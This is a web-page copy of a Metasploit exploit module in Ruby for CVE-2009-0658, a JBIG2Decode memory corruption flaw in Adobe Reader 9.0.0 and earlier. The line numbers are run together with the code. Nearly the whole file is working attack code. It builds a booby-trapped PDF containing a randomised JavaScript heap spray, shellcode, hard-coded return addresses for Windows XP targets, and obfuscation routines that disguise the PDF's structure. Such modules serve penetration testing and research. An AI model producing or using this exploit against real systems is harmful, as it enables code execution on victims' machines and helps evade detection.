Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/adobe_jbig2decode.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe JBIG2Decode Memory Corruption',15'Description' => %q{16This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.17This module relies upon javascript for the heap spray.18},19'License' => MSF_LICENSE,20'Author' =>21[22# Metasploit implementation23'natron',24# bl4cksecurity blog explanation of vuln [see References]25'xort', 'redsand',26# obfuscation techniques and pdf template from util_printf27'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',28],29'References' =>30[31[ 'CVE' , '2009-0658' ],32[ 'OSVDB', '52073' ]33],34'DefaultOptions' =>35{36'EXITFUNC' => 'process',37'DisablePayloadHandler' => true38},39'Payload' =>40{41'Space' => 1024,42'BadChars' => ""43},44'Platform' => 'win',45'Targets' =>46[47[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)48[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)49],50'DisclosureDate' => '2009-02-19',51'DefaultTarget' => 0))5253register_options([54OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),55])5657end5859def exploit60# Encode the shellcode.61shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))62ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))6364nops = Rex::Text.to_unescape(make_nops(4))6566# Randomize some variables67rand1 = rand_text_alpha(rand(50) + 1)68rand2 = rand_text_alpha(rand(50) + 1)69rand3 = rand_text_alpha(rand(50) + 1)70rand4 = rand_text_alpha(rand(50) + 1)71rand5 = rand_text_alpha(rand(50) + 1)72rand6 = rand_text_alpha(rand(50) + 1)73rand7 = rand_text_alpha(rand(50) + 1)74rand8 = rand_text_alpha(rand(50) + 1)75rand9 = rand_text_alpha(rand(50) + 1)76rand10 = rand_text_alpha(rand(50) + 1)77rand11 = rand_text_alpha(rand(50) + 1)78rand12 = rand_text_alpha(rand(50) + 1)79rand13 = rand_text_alpha(rand(50) + 1)80rand14 = rand_text_alpha(rand(50) + 1)81rand15 = rand_text_alpha(rand(50) + 1)82rand16 = rand_text_alpha(rand(50) + 1)8384script = %Q|85var #{rand1} = "";86var #{rand2} = "";87var #{rand3} = unescape("#{shellcode}");88var #{rand4} = "";8990for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");91#{rand6} = #{rand4} + #{rand3};92#{rand7} = unescape("#{nops}");93#{rand8} = 20;94#{rand9} = #{rand8}+#{rand6}.length95while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};96#{rand10} = #{rand7}.substring(0, #{rand9});97#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});98while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};99#{rand12} = new Array();100for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};101102for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");103#{rand13} = #{rand2}.length + 20104while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};105#{rand14} = #{rand2}.substring(0, #{rand13});106#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});107while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};108#{rand16} = new Array();109for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};110|111eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]112eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]113modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418114# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000115# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec116# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214117118jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr119120# Create the pdf121pdf = make_pdf(script, jbig2stream)122123print_status("Creating '#{datastore['FILENAME']}' file...")124125file_create(pdf)126end127128def random_non_ascii_string(count)129result = ""130count.times do131result << (rand(128) + 128).chr132end133result134end135136def io_def(id)137"%d 0 obj" % id138end139140def io_ref(id)141"%d 0 R" % id142end143144#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/145def n_obfu(str)146result = ""147str.scan(/./u) do |c|148if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'149result << "#%x" % c.unpack("C*")[0]150# Randomize the spaces and newlines151elsif c == " "152result << " " * (rand(3) + 1)153if rand(2) == 0154result << "\x0d\x0a"155result << " " * rand(2)156end157else158result << c159end160end161result162end163164def ascii_hex_whitespace_encode(str)165result = ""166whitespace = ""167str.each_byte do |b|168result << whitespace << "%02x" % b169whitespace = " " * (rand(3) + 1)170end171result << ">"172end173174def make_pdf(js, jbig2)175176xref = []177eol = "\x0d\x0a"178endobj = "endobj" << eol179180pdf = "%PDF-1.5" << eol181pdf << "%" << random_non_ascii_string(4) << eol182xref << pdf.length183pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj184xref << pdf.length185pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj186xref << pdf.length187pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj188xref << pdf.length189pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj190xref << pdf.length191pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj192xref << pdf.length193194compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5)+4) # Add random 4-9 compression level195pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol196pdf << "stream" << eol197pdf << compressed << eol198pdf << "endstream" << eol199pdf << endobj200xref << pdf.length201202pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol203204xref << pdf.length205compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression206pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol207pdf << "stream" << eol208pdf << compressed << eol209pdf << "endstream" << eol210pdf << endobj211212xrefPosition = pdf.length213pdf << "xref" << eol214pdf << "0 %d" % (xref.length + 1) << eol215pdf << "0000000000 65535 f" << eol216xref.each do |index|217pdf << "%010d 00000 n" % index << eol218end219pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol220pdf << "startxref" << eol221pdf << xrefPosition.to_s() << eol222pdf << "%%EOF" << eol223end224end225226227